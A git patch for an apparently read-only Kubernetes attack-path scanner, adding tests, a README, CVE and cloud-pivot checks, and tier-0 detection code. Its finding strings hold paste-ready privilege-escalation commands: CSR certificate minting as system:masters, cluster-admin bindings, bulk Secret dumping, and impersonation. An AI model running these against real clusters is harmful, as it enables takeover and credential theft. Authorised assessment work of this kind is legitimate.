cj = make_cronjob(name="nightly", namespace="batch", template_spec=template) + pod = synthesize_pod_from_workload(cj, "CronJob") + assert pod is not None + assert pod.metadata.name == "nightly" + assert pod.metadata.namespace == "batch" + assert "SYS_ADMIN" in pod.spec.containers[0].security_context.capabilities.add + + +def test_synthesize_missing_template_returns_none(): + deploy = SimpleNamespace( + metadata=SimpleNamespace(name="empty", namespace="x", annotations={}, labels={}), + spec=SimpleNamespace(template=None), + ) + assert synthesize_pod_from_workload(deploy, "Deployment") is None + + +def test_synthesize_merges_template_annotations(): + """AppArmor annotations live on the pod template, not the workload — must be preserved.""" + template = make_pod(name="ignored", namespace="prod", + annotations={"container.apparmor.security.beta.kubernetes.io/app": "runtime/default"}).spec + deploy = make_deployment( + name="my-app", namespace="prod", template_spec=template, + template_annotations={"container.apparmor.security.beta.kubernetes.io/app": "runtime/default"}, + ) + pod = synthesize_pod_from_workload(deploy, "Deployment") + assert "container.apparmor.security.beta.kubernetes.io/app" in pod.metadata.annotations + + +def test_relabel_rewrites_resource_prefix(): + template = make_pod(name="ignored", namespace="prod", + containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="my-app", namespace="prod", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + findings = scan_escapes(pod) + assert any(f.resource and f.resource.startswith("pod/my-app") for f in findings) + relabeled = relabel_workload_findings(findings, "Deployment", "my-app") + assert any(f.resource and f.resource.startswith("deployment/my-app") for f in relabeled) + # No leftover pod/ prefixes for this workload's findings + assert not any(f.resource and f.resource.startswith("pod/my-app") for f in relabeled) + + +def test_relabel_preserves_other_resource_strings(): + """Findings for unrelated pods should not be rewritten.""" + template = make_pod(name="ignored", containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="A", namespace="prod", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + findings = scan_escapes(pod) + # Add a fake finding for an unrelated pod + from kuberoast.utils.findings import Finding + findings.append(Finding(id="OTHER", title="x", description="x", resource="pod/other-pod::c")) + relabeled = relabel_workload_findings(findings, "Deployment", "A") + other = next(f for f in relabeled if f.id == "OTHER") + assert other.resource == "pod/other-pod::c" + + +def test_iter_workload_pods_yields_synthesized_pods(): + template = make_pod(name="ignored", namespace="prod").spec + deploys = [ + make_deployment(name="a", namespace="prod", template_spec=template), + make_deployment(name="b", namespace="prod", template_spec=template), + ] + out = list(iter_workload_pods(deploys, "Deployment")) + assert [name for _, _, name in out] == ["a", "b"] + + +def test_deployment_template_run_through_pod_scanner(): + """End-to-end: a Deployment with a privileged template should produce a POD-PRIV finding under a deployment/ resource.""" + template = make_pod(name="ignored", containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="bad-deploy", namespace="ns1", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + findings = scan_pod_security(pod) + relabeled = relabel_workload_findings(findings, "Deployment", "bad-deploy") + priv = next(f for f in relabeled if f.id == "POD-PRIV") + assert priv.resource.startswith("deployment/bad-deploy") From f09e11362d60083bf2fe1f660271c7d1cb33c99d Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 1 Jun 2026 03:24:22 +0000 Subject: [PATCH 2/3] v0.4.0: cloud pivots, CVE correlation, tier-0, de-noise MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Sharpens the tool toward real assessment tradecraft and cuts the compliance lint that was burying signal. De-noise ("no kiddie stuff") ---------------------------- Defense-in-depth findings (POD-NO-LIMITS, POD-NO-APPARMOR, POD-NO-SECCOMP, POD-SATOKEN, SECRET-TLS-MANUAL, POLICY-NONE, PSS-NOT-ENFORCED) are now hidden by default behind --include-hygiene. Default scans lead with escape primitives, escalation chains, cloud pivots, and CVEs. Cloud-account pivots (scanners/cloud.py) ---------------------------------------- - CLOUD-IMDS-REACHABLE: per-namespace egress posture vs 169.254.169.254. Auto-detects AWS/GCP/Azure from node providerID and emits the exact provider-specific IMDS credential-theft curl. - CLOUD-IRSA / CLOUD-GKE-WI / CLOUD-AZURE-WI: ServiceAccount→cloud-role federation from SA annotations, with the assume/exchange PoC. Models the pod -> cloud account pivot as a first-class finding. CVE correlation (scanners/cve.py + utils/versions.py) ----------------------------------------------------- Offline, version-aware knowledge base of high-impact escape/escalation CVEs keyed on apiserver / kubelet / runtime / kernel / ingress-nginx versions. Carries CISA-KEV status and EPSS (verified against live feeds). Includes IngressNightmare (CVE-2025-1974, EPSS 0.91), the apiserver-proxy bug (CVE-2018-1002105), runc Leaky Vessels (CVE-2024-21626), nf_tables LPE (CVE-2024-1086, KEV), fsconfig (CVE-2022-0185, KEV), containerd-shim, subPath, and the ingress-nginx annotation-injection chain. Tier-0 / crown-jewel identification (attackpaths/tier_zero.py) -------------------------------------------------------------- AP-TIER0 names principals that are effectively cluster-admin without the literal binding: CSR create+approve (mint a system:masters cert), nodes/proxy, cluster-wide pods/exec, read-all-secrets, serviceaccounts/token, webhook config writes, impersonate/escalate/bind, nodes patch. Skips expected holders (kube-system, system:masters). Multi-hop chains now route through CSR cert-minting --------------------------------------------------- sa_chains adds the CSR create+approve -> system:masters edge, so escalation chains can terminate via certificate minting. Hardcoded credentials in pod specs (scanners/podsecrets.py) ----------------------------------------------------------- ENV-LEAK-* / ARG-LEAK-*: literal credentials in container env values and command/args, reusing the high-signal credential patterns. secretKeyRef references are never flagged. Values are redacted in output. CLI / plumbing -------------- - New flags: --skip-cloud, --skip-cve, --include-hygiene. - Nodes listed once and reused for probes + cloud + CVE. - kube.py: serviceaccount, networkpolicy listers + server-version getter; AdmissionregistrationV1Api + BatchV1Api clients. Tests ----- 134 -> 200. New suites: test_cloud (16), test_cve (24), test_tier_zero (11), test_podsecrets (10), test_cli (6, hygiene gating + exit codes). Docs ---- README reframed around offensive coverage: cloud-pivot and CVE tables, tier-0, the no-kiddie-stuff default, updated comparison and RBAC needs. https://claude.ai/code/session_01Eq8TDiVnuuVQU2HR9KtCNg --- README.md | 113 +++++--- kuberoast/__init__.py | 2 +- kuberoast/attackpaths/sa_chains.py | 16 ++ kuberoast/attackpaths/tier_zero.py | 209 +++++++++++++++ kuberoast/cli.py | 76 +++++- kuberoast/scanners/cloud.py | 297 ++++++++++++++++++++++ kuberoast/scanners/cve.py | 396 +++++++++++++++++++++++++++++ kuberoast/scanners/podsecrets.py | 137 ++++++++++ kuberoast/utils/findings.py | 16 ++ kuberoast/utils/kube.py | 27 ++ kuberoast/utils/versions.py | 88 +++++++ pyproject.toml | 2 +- tests/conftest.py | 47 +++- tests/test_cli.py | 85 +++++++ tests/test_cloud.py | 115 +++++++++ tests/test_cve.py | 169 ++++++++++++ tests/test_podsecrets.py | 75 ++++++ tests/test_tier_zero.py | 109 ++++++++ 18 files changed, 1930 insertions(+), 49 deletions(-) create mode 100644 kuberoast/attackpaths/tier_zero.py create mode 100644 kuberoast/scanners/cloud.py create mode 100644 kuberoast/scanners/cve.py create mode 100644 kuberoast/scanners/podsecrets.py create mode 100644 kuberoast/utils/versions.py create mode 100644 tests/test_cli.py create mode 100644 tests/test_cloud.py create mode 100644 tests/test_cve.py create mode 100644 tests/test_podsecrets.py create mode 100644 tests/test_tier_zero.py diff --git a/README.md b/README.md index 50392c4..17b4133 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@

Python 3.9+ MIT License - Tests - Version + Tests + Version Read-only

@@ -40,15 +40,19 @@ KubeRoast is built around the questions an operator actually asks: | Question | What KubeRoast does | |---|---| | *"If I land RCE in this container, how fast can I get to the node?"* | Per-pod **escape primitive scoring** with the exact PoC command (docker.sock → `docker -H unix:///var/run/docker.sock …`, SYS_ADMIN → cgroup `release_agent`, etc.) | -| *"Which SAs are 1–2 hops from cluster-admin?"* | **Multi-hop RBAC chain analysis** — traverses `create pods` → `pods/exec` → `serviceaccounts/token` → `bind` graph and emits the full chain with per-hop PoC | +| *"Which SAs are 1–2 hops from cluster-admin?"* | **Multi-hop RBAC chain analysis** — traverses `create pods` → `pods/exec` → `serviceaccounts/token` → CSR cert-mint → `bind` graph and emits the full chain with per-hop PoC | +| *"Who is *already* cluster-admin without the obvious binding?"* | **Tier-0 identification** — names the principals holding crown-jewel verbs (CSR create+approve → mint a `system:masters` cert, `nodes/proxy`, cluster-wide `pods/exec`, read-all-secrets, `serviceaccounts/token`, webhook writes) | +| *"How do I get from a pod into the cloud account?"* | **Cloud-pivot modeling** — IMDS reachability (per-namespace egress posture, provider-specific credential-theft curl) and IRSA / GKE Workload Identity / Azure Workload Identity SA→role mapping | +| *"Is anything here a known one-shot?"* | **CVE correlation** — runc/kubelet/k8s/ingress-nginx versions → known-exploitable escape & escalation CVEs (Leaky Vessels, IngressNightmare, the apiserver-proxy bug) with CISA-KEV and EPSS tags | | *"Is this kubelet I can reach actually exploitable?"* | **Active kubelet HTTP probes** against `/pods`, `/configz`, `/metrics` on 10250/10255 — not just a TCP port check | -| *"Where are the credentials that shouldn't be there?"* | **ConfigMap credential hunt** (AKIA…, ghp_…, PEM keys, JDBC URLs, Azure connection strings) and **SA token JWT decode** (legacy non-expiring tokens, IRSA audiences) | +| *"Where are the credentials that shouldn't be there?"* | **Credential hunt** across ConfigMaps, pod env vars, and command-line args (AKIA…, ghp_…, PEM keys, JDBC URLs, Azure connection strings) plus **SA token JWT decode** (legacy non-expiring tokens, IRSA audiences) | | *"What admission policies can I bypass?"* | **Webhook bypass audit** — `failurePolicy: Ignore` + long timeouts = DoS-bypassable | -| *"How does this Deployment look in production?"* | **Workload coverage** — extracts pod templates from Deployments, StatefulSets, DaemonSets, Jobs, CronJobs | | *"Can I check this before the cluster exists?"* | **Shift-left manifest mode** (`--manifests ./k8s/`) — same rules, no API access required | Every finding carries: severity, **exploitability** (`trivial` / `easy` / `moderate` / `hard`), **impact** (concrete blast radius), the **PoC command** an operator runs to confirm, and the **MITRE ATT&CK** technique IDs. +> **No kiddie stuff by default.** Defense-in-depth lint (no resource limits, no AppArmor, "automount token not disabled") is **hidden by default** so attack paths lead. Add `--include-hygiene` if you want the compliance checklist back. + ## Quick Start ```bash @@ -113,21 +117,24 @@ kuberoast --report text --min-exploitability easy # 2. Drill into escape primitives only kuberoast --report json | jq '[.[] | select(.category == "Escape")]' -# 3. RBAC escalation map — who's near cluster-admin? -kuberoast --report json | jq '[.[] | select(.id == "AP-CHAIN") | {principal: .resource, chain: .description}]' +# 3. RBAC escalation map — who's near cluster-admin, and who already IS? +kuberoast --report json | jq '[.[] | select(.id == "AP-CHAIN" or .id == "AP-TIER0") | {id, principal: .resource}]' -# 4. Credential haul — secrets, configmaps, tokens -kuberoast --report json | jq '[.[] | select(.category | IN("Secrets","ConfigMaps","Tokens"))]' +# 4. Cloud pivot — can a pod become the cloud account? +kuberoast --report json | jq '[.[] | select(.category == "CloudPivot")]' -# 5. Reachable kubelets — what's exposed? -kuberoast --report json | jq '[.[] | select(.category == "Node")]' +# 5. Known one-shots — CVEs in running versions, ranked by EPSS +kuberoast --report json | jq '[.[] | select(.category == "CVE")] | sort_by(.metadata.epss) | reverse' + +# 6. Credential haul — secrets, configmaps, env, tokens +kuberoast --report json | jq '[.[] | select(.category | IN("Secrets","ConfigMaps","Tokens"))]' ``` Each command runs in seconds. You walk away with a prioritized hit-list, PoC commands ready to paste. ## Offensive Coverage -KubeRoast runs **40+ checks across 11 categories**. Coverage emphasizes attacker-actionable findings. +KubeRoast runs **60+ checks across 13 categories**. Coverage emphasizes attacker-actionable findings. ### 🚪 Container Escape Primitives ([`scanners/escapes.py`](kuberoast/scanners/escapes.py)) @@ -147,13 +154,42 @@ KubeRoast runs **40+ checks across 11 categories**. Coverage emphasizes attacker | `ESC-HOSTIPC` | hostIPC → side-channel host processes | moderate | | `ESC-ROOT-NO-DROP` | UID 0 with default caps (escalation multiplier) | moderate | -### 🔗 Multi-hop Attack Paths ([`attackpaths/sa_chains.py`](kuberoast/attackpaths/sa_chains.py)) +### 🔗 Multi-hop Attack Paths ([`attackpaths/sa_chains.py`](kuberoast/attackpaths/sa_chains.py), [`tier_zero.py`](kuberoast/attackpaths/tier_zero.py)) | ID | What it finds | |---|---| -| `AP-CHAIN` | Shortest path from any SA to cluster-admin (≤4 hops), traversing `create pods`, `pods/exec`, `update deployments`, `bind` / `escalate` / `impersonate`, `serviceaccounts/token`. Includes per-hop PoC. | +| `AP-CHAIN` | Shortest path from any SA to cluster-admin (≤4 hops), traversing `create pods`, `pods/exec`, `update deployments`, CSR cert-mint, `bind` / `escalate` / `impersonate`, `serviceaccounts/token`. Includes per-hop PoC. | +| `AP-TIER0` | Principals that are **effectively cluster-admin already** — CSR create+approve (mint a `system:masters` cert), `nodes/proxy`, cluster-wide `pods/exec`, read-all-secrets, `serviceaccounts/token`, webhook config writes, `impersonate`/`escalate`/`bind`, `nodes` patch. Skips expected holders (kube-system, system:masters). | | `AP-RBAC-ESC` | 1-hop "this SA has cluster-takeover primitives" summary. | +### ☁️ Cloud-Account Pivots ([`scanners/cloud.py`](kuberoast/scanners/cloud.py)) + +The single highest-impact real-world escalation: pod → cloud account. + +| ID | What it finds | +|---|---| +| `CLOUD-IMDS-REACHABLE` | Namespaces with no egress NetworkPolicy blocking `169.254.169.254`. Provider auto-detected (AWS/GCP/Azure); emits the exact IMDS credential-theft `curl` for that provider. | +| `CLOUD-IRSA` | ServiceAccount federated to an AWS IAM role (`eks.amazonaws.com/role-arn`). Run-as that SA → `sts:AssumeRoleWithWebIdentity`. | +| `CLOUD-GKE-WI` | SA mapped to a GCP service account via GKE Workload Identity. | +| `CLOUD-AZURE-WI` | SA configured for Azure Workload Identity (federated → ARM token). | + +### 🩹 CVE Correlation ([`scanners/cve.py`](kuberoast/scanners/cve.py)) + +Version-aware, offline, deterministic. Each finding carries CISA-KEV status and EPSS (verified against live feeds at authoring time). + +| CVE | Component | Why it matters | +|---|---|---| +| `CVE-2025-1974` | ingress-nginx < 1.11.5 / 1.12.1 | **IngressNightmare** — unauth RCE in admission controller → read all Secrets. EPSS 0.91 | +| `CVE-2018-1002105` | k8s < 1.10.11/1.11.5/1.12.3 | apiserver proxy → unauthenticated backend escalation. EPSS 0.90 | +| `CVE-2024-1086` | kernel < 6.8 | nf_tables UAF → node-root LPE. **CISA KEV**, EPSS 0.85 | +| `CVE-2024-21626` | runc ≤ 1.1.11 | **Leaky Vessels** — WORKDIR fd container escape | +| `CVE-2019-5736` | runc < 1.0 | runc binary overwrite → node root | +| `CVE-2022-0185` | kernel < 5.16.2 | fsconfig heap overflow → escape/LPE. **CISA KEV** | +| `CVE-2020-15257` | containerd < 1.4.3 | containerd-shim host-net escape | +| `CVE-2021-25741` | kubelet < 1.22.2 | subPath symlink → host file access | +| `CVE-2020-8559` | k8s < 1.18.6 | apiserver→kubelet redirect → cross-node | +| `CVE-2023-5044`, `CVE-2021-25742` | ingress-nginx | annotation/snippet injection → controller token theft | + ### 🔐 Active Kubelet Probes ([`scanners/kubelet.py`](kuberoast/scanners/kubelet.py)) | ID | What it confirms | @@ -180,7 +216,10 @@ KubeRoast runs **40+ checks across 11 categories**. Coverage emphasizes attacker | `CM-LEAK-JDBC-URL`, `CM-LEAK-GENERIC-URL` | ConfigMaps | Connection strings with embedded creds | | `CM-LEAK-AZURE-CONN` | ConfigMaps | Azure storage connection string | | `CM-LEAK-PASSWORD-YAML`, `CM-LEAK-APIKEY` | ConfigMaps | Plaintext password / API key in config | -| `SECRET-SENSITIVE`, `SECRET-DOCKER-HUB`, `SECRET-TLS-MANUAL` | Secrets | Sensitive keys in Opaque, Docker Hub creds, hand-managed TLS | +| `ENV-LEAK-*` | Secrets | Literal credential in a pod `env.value` (AWS key, token, JDBC URL, …) | +| `ENV-LEAK-NAMED` | Secrets | Sensitive env name (`DB_PASSWORD`, `*_SECRET`, …) set to an inline value instead of `secretKeyRef` | +| `ARG-LEAK-*` | Secrets | Credential on a container `command`/`args` line (world-visible via `/proc`) | +| `SECRET-SENSITIVE`, `SECRET-DOCKER-HUB` | Secrets | Sensitive keys in Opaque secret, Docker Hub creds | ### 🪝 Admission Webhook Bypass ([`scanners/webhooks.py`](kuberoast/scanners/webhooks.py)) @@ -277,6 +316,7 @@ kuberoast [OPTIONS] | `-n, --namespace NS` | — | Limit scan to one namespace | | `--min-severity {info,low,medium,high,critical}` | `info` | Filter by severity | | `--min-exploitability {theoretical,hard,moderate,easy,trivial}` | — | Filter by exploitability | +| `--include-hygiene` | off | Include defense-in-depth / compliance findings (hidden by default) | | `--fail-on {info,low,medium,high,critical}` | — | Exit `1` if any finding meets the threshold | | `--no-color` | off | Disable ANSI colors | | `--version` | — | Print version and exit | @@ -286,11 +326,13 @@ kuberoast [OPTIONS] | Flag | Skips | |---|---| -| `--skip-nodes` | All node-level probes | +| `--skip-nodes` | Node TCP + kubelet probes (node list still fetched for CVE/cloud) | | `--skip-kubelet-probe` | Active HTTP kubelet probing (TCP-port check still runs) | | `--skip-secrets` | Secret heuristics + SA token analysis | | `--skip-configmaps` | ConfigMap credential hunt | -| `--skip-attack-paths` | RBAC 1-hop + multi-hop chains | +| `--skip-attack-paths` | RBAC 1-hop + multi-hop chains + tier-0 | +| `--skip-cloud` | Cloud-pivot analysis (IMDS + workload identity) | +| `--skip-cve` | Version→CVE correlation | | `--skip-webhooks` | Admission webhook audit | ## Findings Schema @@ -319,7 +361,7 @@ kuberoast [OPTIONS] **Severity:** `critical` > `high` > `medium` > `low` > `info` **Exploitability:** `trivial` > `easy` > `moderate` > `hard` > `theoretical` -**Categories:** `Escape`, `AttackPath`, `Pod Security`, `RBAC`, `Network`, `Node`, `Secrets`, `ConfigMaps`, `Tokens`, `Webhooks`, `Policy` +**Categories:** `Escape`, `AttackPath`, `CloudPivot`, `CVE`, `Pod Security`, `RBAC`, `Network`, `Node`, `Secrets`, `ConfigMaps`, `Tokens`, `Webhooks`, `Policy` ## Required RBAC @@ -332,7 +374,7 @@ metadata: name: kuberoast-reader rules: - apiGroups: [""] - resources: [pods, secrets, configmaps, nodes, namespaces, services] + resources: [pods, secrets, configmaps, nodes, namespaces, services, serviceaccounts] verbs: [get, list] - apiGroups: [apps] resources: [deployments, statefulsets, daemonsets, replicasets] @@ -344,7 +386,7 @@ rules: resources: [roles, rolebindings, clusterroles, clusterrolebindings] verbs: [get, list] - apiGroups: [networking.k8s.io] - resources: [ingresses] + resources: [ingresses, networkpolicies] verbs: [get, list] - apiGroups: [admissionregistration.k8s.io] resources: [validatingwebhookconfigurations, mutatingwebhookconfigurations] @@ -354,6 +396,8 @@ rules: verbs: [get, list] ``` +Version→CVE correlation also reads the cluster version (`/version`, public) and node `status.nodeInfo` (covered by `nodes` above). + KubeRoast continues gracefully if any API returns 401/403 — partial scans are still useful. ## Architecture @@ -362,14 +406,17 @@ KubeRoast continues gracefully if any API returns 401/403 — partial scans are kuberoast/ cli.py CLI, banner, orchestration utils/ - findings.py Pydantic Finding model + findings.py Pydantic Finding model + hygiene ID set kube.py K8s API clients, pagination, error handling manifests.py Shift-left YAML/JSON loader (camelCase→snake_case) workloads.py PodTemplate extraction for Deployment/etc. + versions.py Version parsing for CVE correlation colors.py ANSI colors (TTY-aware, NO_COLOR-respecting) scanners/ pods.py 11 pod-level hardening checks escapes.py Container escape primitive analysis (scoring + PoC) + cloud.py Cloud-account pivots (IMDS + IRSA/WI federation) + cve.py Version→known-exploitable-CVE correlation rbac.py RBAC hygiene network.py Service + Ingress exposure nodes.py Legacy TCP-port check for kubelet @@ -377,19 +424,21 @@ kuberoast/ secrets.py Credential heuristics in Secrets tokens.py JWT decode of SA tokens (legacy vs projected, audiences) configmaps.py Credential hunt in ConfigMaps + podsecrets.py Hardcoded creds in pod env / args / command webhooks.py Admission webhook bypass audit policy.py Policy engine (Kyverno/Gatekeeper) detection pss.py Pod Security Standards labels shared.py Container iteration helpers attackpaths/ rbac_escalation.py 1-hop RBAC escalation primitives - sa_chains.py Multi-hop SA → cluster-admin BFS + sa_chains.py Multi-hop SA → cluster-admin BFS (incl. CSR cert-mint) + tier_zero.py Effective-cluster-admin (crown jewel) identification reporting/ json.py JSON output text.py Colorized severity-grouped text html.py Dark-themed HTML report -tests/ 134 tests covering every scanner + edge cases +tests/ 200 tests covering every scanner + edge cases ``` ## Comparison @@ -397,14 +446,17 @@ tests/ 134 tests covering every scanner + edge case | Capability | kuberoast | kube-bench | kubescape | kube-hunter | |---|---|---|---|---| | Container escape primitive scoring + PoC | ✅ | — | partial | — | -| Multi-hop RBAC escalation chains | ✅ | — | — | — | +| Multi-hop RBAC escalation chains (incl. CSR cert-mint) | ✅ | — | — | — | +| Tier-0 / effective-cluster-admin identification | ✅ | — | — | — | +| Cloud-account pivot modeling (IMDS + IRSA/WI) | ✅ | — | — | — | +| Version→CVE correlation with KEV/EPSS | ✅ | — | partial | partial | | Active kubelet HTTP enumeration | ✅ | — | — | ✅ | | SA token JWT decode (legacy detection) | ✅ | — | — | — | -| ConfigMap credential hunt | ✅ | — | partial | — | +| Credential hunt (ConfigMaps + env + args) | ✅ | — | partial | — | | Webhook bypass audit (failurePolicy) | ✅ | — | — | — | | Workload template coverage | ✅ | — | ✅ | — | | Shift-left manifest mode | ✅ | — | ✅ | — | -| CIS benchmark mapping | partial | ✅ | ✅ | — | +| Attack paths lead; lint hidden by default | ✅ | — | — | — | | Single binary install | ✅ | ✅ | ✅ | ✅ | ## Troubleshooting @@ -420,12 +472,11 @@ tests/ 134 tests covering every scanner + edge case ## Roadmap -- NetworkPolicy default-deny gap detection -- Cloud IMDS reachability probe (`169.254.169.254` from pod context) -- CIS Kubernetes Benchmark mapping on every finding -- SARIF 2.1.0 output for GitHub Code Scanning integration +- Live IMDS reachability probe from an in-cluster job (confirm, not just infer) +- Expand the CVE knowledge base + optional OSV/NVD live lookup +- etcd / control-plane port exposure checks (2379/2380, insecure apiserver) - CRD-defined secret detection (SealedSecrets, ExternalSecrets, Vault) -- Markdown report for PR comments +- ATT&CK navigator-layer export from finding techniques ## Contributing diff --git a/kuberoast/__init__.py b/kuberoast/__init__.py index 96f1e7f..7689aca 100644 --- a/kuberoast/__init__.py +++ b/kuberoast/__init__.py @@ -1,2 +1,2 @@ -__version__ = "0.3.0" +__version__ = "0.4.0" __all__ = ["__version__"] diff --git a/kuberoast/attackpaths/sa_chains.py b/kuberoast/attackpaths/sa_chains.py index 2cda15a..fed560c 100644 --- a/kuberoast/attackpaths/sa_chains.py +++ b/kuberoast/attackpaths/sa_chains.py @@ -187,6 +187,22 @@ def _build_edges( "kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=:", )) + # 4b. CSR cert-minting → issue a system:masters client cert + can_create_csr = _has_perm(perms, "create", "certificatesigningrequests") + can_approve_csr = ( + _has_perm(perms, "update", "certificatesigningrequests/approval") + or _has_perm(perms, "patch", "certificatesigningrequests/approval") + or _has_perm(perms, "approve", "signers") + ) + if can_create_csr and can_approve_csr: + edges[principal].append(( + "ClusterRole/cluster-admin", + "mint a system:masters client certificate via the CSR API", + "openssl req -new -nodes -keyout k -subj '/O=system:masters/CN=pwn' -out r; " + "kubectl create csr ... signerName=kubernetes.io/kube-apiserver-client; " + "kubectl certificate approve pwn", + )) + # 5. escalate verb → grant self any verbs on existing roles if _has_perm(perms, "escalate", "roles") or _has_perm(perms, "escalate", "clusterroles"): edges[principal].append(( diff --git a/kuberoast/attackpaths/tier_zero.py b/kuberoast/attackpaths/tier_zero.py new file mode 100644 index 0000000..15b1ac8 --- /dev/null +++ b/kuberoast/attackpaths/tier_zero.py @@ -0,0 +1,209 @@ +"""Tier-0 / crown-jewel identification. + +`rbac.py` flags suspicious verbs. `sa_chains.py` finds escalation *paths*. +This module answers a different question: **which principals are already, +right now, effectively cluster-admin** — without the literal +`cluster-admin` binding that `RBAC-CLUSTER-ADMIN` would catch? + +These are the keys to the kingdom an assessor wants named explicitly: + + * CSR mint create CSR + approve → issue a client cert with + CN/O=system:masters. Instant cluster-admin cert. + * nodes/proxy proxy to every kubelet → exec in any pod on any node. + * exec anywhere pods/exec or pods/attach cluster-wide → run in any + pod, including privileged kube-system pods. + * read all secrets get+list secrets cluster-wide → harvest every + credential, including bootstrap & SA tokens. + * mint tokens serviceaccounts/token → impersonate any SA. + * admission control write to validating/mutating webhook configs → + intercept or mutate every admitted object. + * impersonate / escalate / bind → trivially become anyone. + * modify nodes patch/update nodes → label-spoof (IRSA/WI), taint, + influence scheduling onto attacker-controlled nodes. + +We skip the obvious/expected holders (literal cluster-admin, system:masters, +kube-system control-plane SAs) so the output is the *non-obvious* admins. +""" +from typing import List, Set, Tuple, Dict +from ..utils.findings import Finding +from .sa_chains import _build_principal_perms, _has_perm, _principal_id + + +# (predicate, primitive-name, severity, exploit, impact, techniques) +def _tier0_primitives(perms: Set[Tuple[str, str]]) -> List[Tuple[str, str, str, str, List[str]]]: + found = [] + + # CSR cert minting: create CSR + ability to approve (or the signer). + can_create_csr = _has_perm(perms, "create", "certificatesigningrequests") + can_approve_csr = ( + _has_perm(perms, "update", "certificatesigningrequests/approval") + or _has_perm(perms, "patch", "certificatesigningrequests/approval") + or _has_perm(perms, "approve", "signers") + or _has_perm(perms, "*", "certificatesigningrequests") + ) + if can_create_csr and can_approve_csr: + found.append(( + "mint a system:masters client certificate via the CSR API", + "trivial", + "# 1. openssl req -new -newkey rsa:2048 -nodes -keyout pwn.key -subj '/O=system:masters/CN=pwn' -out pwn.csr\n" + "# 2. kubectl create -f - < pwn.crt\n" + "# 5. kubectl --client-certificate=pwn.crt --client-key=pwn.key get secrets -A", + "Issues a client certificate in group system:masters — permanent cluster-admin " + "that bypasses RBAC entirely and survives SA/token revocation.", + ["T1098.001", "T1649"], + )) + + # nodes/proxy → kubelet API on every node + if _has_perm(perms, "create", "nodes/proxy") or _has_perm(perms, "get", "nodes/proxy") or _has_perm(perms, "*", "nodes/proxy"): + found.append(( + "proxy to every kubelet via nodes/proxy", + "easy", + "kubectl get --raw /api/v1/nodes//proxy/pods\n" + "kubectl get --raw '/api/v1/nodes//proxy/run///?cmd=id'", + "Command execution in any pod on any node via the kubelet API — equivalent to exec-anywhere " + "plus node-local credential theft.", + ["T1610", "T1613"], + )) + + # exec/attach cluster-wide + if _has_perm(perms, "create", "pods/exec") or _has_perm(perms, "create", "pods/attach") or _has_perm(perms, "*", "pods/exec"): + found.append(( + "exec into any pod cluster-wide", + "trivial", + "kubectl exec -n kube-system -- sh\n" + "# then read /var/run/secrets/... or escape if the pod is privileged", + "Run commands inside any pod, including privileged control-plane pods — harvest their SA " + "tokens and escape to the node.", + ["T1610"], + )) + + # read all secrets + if _has_perm(perms, "get", "secrets") and _has_perm(perms, "list", "secrets"): + found.append(( + "read every Secret in the cluster", + "trivial", + "kubectl get secrets -A -o json | jq -r '.items[].data | to_entries[] | .value' | base64 -d", + "Harvest all credentials cluster-wide: SA tokens, registry creds, TLS keys, bootstrap tokens.", + ["T1552.005"], + )) + + # mint SA tokens + if _has_perm(perms, "create", "serviceaccounts/token"): + found.append(( + "mint a token for any ServiceAccount", + "trivial", + "kubectl create token -n ", + "Impersonate any ServiceAccount, including highly-privileged ones.", + ["T1098.004", "T1550.001"], + )) + + # admission control + if (_has_perm(perms, "create", "validatingwebhookconfigurations") + or _has_perm(perms, "update", "validatingwebhookconfigurations") + or _has_perm(perms, "create", "mutatingwebhookconfigurations") + or _has_perm(perms, "update", "mutatingwebhookconfigurations")): + found.append(( + "register or modify admission webhooks", + "easy", + "# Register a MutatingWebhookConfiguration that points at an attacker service and\n" + "# injects sidecars / steals objects (incl. Secret payloads) on every admission.", + "Intercept and mutate every object admitted to the cluster — credential capture and " + "cluster-wide implant.", + ["T1554", "T1556"], + )) + + # impersonate + if _has_perm(perms, "impersonate", "users") or _has_perm(perms, "impersonate", "groups") or _has_perm(perms, "impersonate", "serviceaccounts"): + found.append(( + "impersonate arbitrary identities", + "trivial", + "kubectl --as=anything --as-group=system:masters get secrets -A", + "Act as any user/group/SA, including system:masters (cluster-admin).", + ["T1134"], + )) + + # escalate / bind + if _has_perm(perms, "escalate", "roles") or _has_perm(perms, "escalate", "clusterroles") \ + or _has_perm(perms, "bind", "roles") or _has_perm(perms, "bind", "clusterroles"): + found.append(( + "grant itself arbitrary permissions (escalate/bind)", + "trivial", + "kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=:", + "Self-elevate to cluster-admin via the escalate/bind verbs.", + ["T1098.003"], + )) + + # modify nodes + if _has_perm(perms, "update", "nodes") or _has_perm(perms, "patch", "nodes"): + found.append(( + "modify node objects", + "moderate", + "kubectl label node =true # then schedule a privileged pod onto it", + "Label/taint spoofing to control scheduling (e.g. force workloads onto an attacker node), " + "and on some setups affect node-bound IAM/IRSA selection.", + ["T1496", "T1610"], + )) + + return found + + +# Principals we expect to be powerful — don't report them as 'hidden' admins. +def _is_expected_admin(principal: str) -> bool: + if principal.startswith("sa:kube-system:"): + return True + if principal in ("group:system:masters", "user:kubernetes-admin", "user:system:admin"): + return True + if principal.startswith("group:system:nodes"): + return True + return False + + +def analyze_tier_zero(roles, croles, rbs, crbs, pods=None) -> List[Finding]: + findings: List[Finding] = [] + principal_perms, _roles, _ns = _build_principal_perms(roles, croles, rbs, crbs) + + for principal, perms in principal_perms.items(): + if _is_expected_admin(principal): + continue + prims = _tier0_primitives(perms) + if not prims: + continue + # Most severe exploitability wins for the headline. + order = {"trivial": 4, "easy": 3, "moderate": 2, "hard": 1, "theoretical": 0} + prims_sorted = sorted(prims, key=lambda p: order.get(p[1], 0), reverse=True) + headline = prims_sorted[0] + names = [p[0] for p in prims_sorted] + all_techniques = sorted({t for p in prims_sorted for t in p[4]}) + + desc = ( + f"Principal {principal} holds tier-0 permissions that make it effectively cluster-admin " + f"without a cluster-admin binding:\n" + + "\n".join(f" - {n}" for n in names) 